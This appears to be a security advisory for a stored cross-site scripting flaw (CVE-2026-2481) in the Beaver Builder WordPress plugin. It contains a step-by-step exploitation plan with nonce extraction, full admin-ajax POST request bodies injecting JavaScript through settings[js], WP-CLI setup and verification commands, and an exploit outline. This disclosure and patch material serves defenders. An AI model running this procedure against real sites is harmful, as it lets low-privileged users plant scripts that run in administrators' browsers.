Beaver Builder Page Builder – Drag and Drop Website Builder <= 2.10.1.1 - Authenticated (Author+) Stored Cross-Site Scripting via 'settings[js]'
Description
The Beaver Builder Page Builder – Drag and Drop Website Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'settings[js]' parameter in versions up to, and including, 2.10.1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.10.1.1What Changed in the Fix
Changes introduced in v2.10.1.2
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-2481 (Beaver Builder Stored XSS) ## 1. Vulnerability Summary The **Beaver Builder Page Builder** plugin (versions <= 2.10.1.1) contains a stored cross-site scripting (XSS) vulnerability. The vulnerability exists in the handling of the `settings[js]` parameter…
Show full research plan
Exploitation Research Plan - CVE-2026-2481 (Beaver Builder Stored XSS)
1. Vulnerability Summary
The Beaver Builder Page Builder plugin (versions <= 2.10.1.1) contains a stored cross-site scripting (XSS) vulnerability. The vulnerability exists in the handling of the settings[js] parameter when saving node or layout settings. While Beaver Builder allows administrators to add custom JavaScript to pages, it fails to verify if the user performing the save operation has the unfiltered_html capability. Consequently, an authenticated user with Author-level access (who typically lacks unfiltered_html on a standard WordPress install) can inject and save arbitrary JavaScript that executes whenever the affected page is rendered.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - AJAX Action:
fl_builder_save_node_settingsorfl_builder_save_layout_settings(handled byFLBuilderAjax). - Vulnerable Parameter:
settings[js] - Authentication Required: Authenticated user with at least Author permissions. Authors can edit their own posts and use the Beaver Builder interface.
- Preconditions: The Beaver Builder editor must be active for a post owned by the attacker.
3. Code Flow
- The attacker (Author) opens a post in the Beaver Builder editor.
- The editor interface sends an AJAX request to
admin-ajax.phpwith the actionfl_builder_save_node_settings. - The request is routed to
FLBuilderAjax::save_node_settings()inclasses/class-fl-builder-ajax.php. - This function retrieves the
settingsarray from the$_POSTsuperglobal. - The settings are passed to
FLBuilderModel::save_node_settings()(inclasses/class-fl-builder-model.php). - The plugin fails to sanitize the
jskey within thesettingsarray for users lacking theunfiltered_htmlcapability. - The malicious payload is stored in the post's metadata (serialized in
_fl_builder_data). - When any user (including an Administrator) views the page,
FLBuilder::render_nodes()is called, which eventually outputs the content of thejssetting inside a<script>block on the frontend.
4. Nonce Acquisition Strategy
Beaver Builder heavily relies on nonces for its AJAX operations. The nonce is localized in the frontend editor.
- Localization Variable:
FLBuilderConfig - Nonce Key:
nonce - Strategy:
- Create or identify a post owned by the Author.
- Ensure Beaver Builder is enabled for that post.
- Navigate to the post's frontend with the Beaver Builder editor active (usually by appending
?fl_builderto the URL). - Use
browser_evalto extract the nonce.
// Extraction via browser_eval
window.FLBuilderConfig?.nonce
5. Exploitation Strategy
Step 1: Authentication & Setup
- Authenticate as an Author user.
- Identify a post ID (
TARGET_POST_ID) that the Author can edit. - Ensure Beaver Builder is active for this post:
wp beaver edit TARGET_POST_ID(or via standard UI).
Step 2: Extract Nonce and Node ID
- Navigate to the editor:
browser_navigate(TARGET_URL + "?fl_builder"). - Extract the AJAX nonce:
browser_eval("window.FLBuilderConfig.nonce"). - Extract a valid Node ID (the ID of a row or module on the page):
browser_eval("window.FLBuilderConfig.nodes[Object.keys(window.FLBuilderConfig.nodes)[0]].node_id").
Step 3: Inject XSS Payload
Send the malicious AJAX request to save the settings for the identified node.
- Tool:
http_request - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=fl_builder_save_node_settings
&node_id=TARGET_NODE_ID
&node_type=module
&settings[js]=alert(document.domain)
&fl_builder_confirm_save=true
&nonce=EXTRACTED_NONCE
Step 4: Verification
- Navigate to the public view of the page (without the builder active).
- The script
alert(document.domain)should execute.
6. Test Data Setup
- Attacker User: Create a user with the
authorrole. - Target Post: Create a post titled "XSS Test" assigned to the Author.
- Plugin Config: Ensure the "Code Settings" are enabled in Beaver Builder Advanced settings (this is the default state).
wp option update _fl_builder_advanced_settings '{"node_code":"1"}' --format=json
7. Expected Results
- The AJAX response should return a JSON object indicating success (usually
{"success": true}). - When viewing the post source, the string
alert(document.domain)should be visible inside a script block generated by Beaver Builder, typically associated with the specific node.
8. Verification Steps (Post-Exploit)
Check the database to confirm the payload is stored in the _fl_builder_data meta field:
wp post meta get <TARGET_POST_ID> _fl_builder_data
Verify the output contains the injected string: s:2:"js";s:21:"alert(document.domain)";.
9. Alternative Approaches
If fl_builder_save_node_settings is not the specific vulnerable path, try fl_builder_save_layout_settings. This action saves settings for the entire layout.
Alternative Body:
action=fl_builder_save_layout_settings
&settings[js]=console.log('XSS_SUCCESS')
&nonce=EXTRACTED_NONCE
The "Layout Settings" JS is often rendered globally for the post, making it a reliable target for XSS that survives node deletions.
Summary
The Beaver Builder Page Builder plugin (<= 2.10.1.1) is vulnerable to Stored Cross-Site Scripting because it fails to perform capability checks (such as 'unfiltered_html' or 'unrestricted_editing') when saving JavaScript settings for nodes or layouts. This allows authenticated users with Author-level access to inject arbitrary scripts via the 'settings[js]' parameter, which execute whenever a user views the compromised page.
Vulnerable Code
// In classes/class-fl-builder-model.php (inferred from research plan and patch logic) // The plugin processes node settings without verifying if the user has permissions to save raw JavaScript. $settings = $_POST['settings']; if ( isset( $settings['js'] ) ) { // Vulnerable: The 'js' field is saved to post meta without checking for 'unfiltered_html' capability. $node_settings->js = $settings['js']; } // --- // In classes/class-fl-builder-ajax.php // save_node_settings() and save_layout_settings() receive user input directly public static function save_node_settings() { $node_id = sanitize_text_field( $_POST['node_id'] ); $settings = $_POST['settings']; // settings array containing 'js' key is passed to the model FLBuilderModel::save_node_settings( $node_id, $settings ); // ... }
Security Fix
@@ -1,10 +1,81 @@ +<h4>2.10.1.2 - 03/12/2026</h4> +<p><strong>Hotfix</strong></p> +<ul> + <li>Security: Check if user has unrestricted_editing before allowing JS to be changed (#4882)</li> + <li>Fixed row link color overriding menu module link color (#4866)</li> + <li>Fixed template views with duplicate handles overwriting each other in the Templates tab (#4889)</li> + <li>Loop Module: Fixed issues with pagination on Themer layout or when using Relationship as a source (#4641)</li> + <li>Fixed compatibility issue with Cookiebot plugin (#4904)</li> + <li>Components: Fixed nested component settings showing all fields when opened from the Outline Panel (#4906)</li> + <li>Box Module: Fixed min-width causing child boxes to overlap in some flex row layouts (#4911)</li> + <li>Video module: Fixed autoplay issues when Assistant plugin is active (#4935)</li> +</ul>
Exploit Outline
The exploit target the AJAX actions used by Beaver Builder to save layout or node configurations. 1. Authentication: The attacker authenticates as a user with Author-level permissions or higher who has permission to edit a specific post using Beaver Builder. 2. Nonce Extraction: The attacker navigates to the Beaver Builder editor interface for their post (e.g., `?fl_builder`) and extracts the `nonce` from the localized `FLBuilderConfig.nonce` JavaScript object. 3. Payload Delivery: The attacker sends a POST request to `wp-admin/admin-ajax.php` with the action `fl_builder_save_node_settings` (or `fl_builder_save_layout_settings`). 4. Parameters: The request must include the extracted `nonce`, a valid `node_id`, and a `settings` array where the `js` key contains the malicious payload (e.g., `settings[js]=alert(document.domain)`). 5. Execution: Because the plugin does not verify the `unfiltered_html` capability for this specific field, the script is saved into the post's `_fl_builder_data` metadata. The script will execute in the browser of any user (including administrators) who subsequently views the published page.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.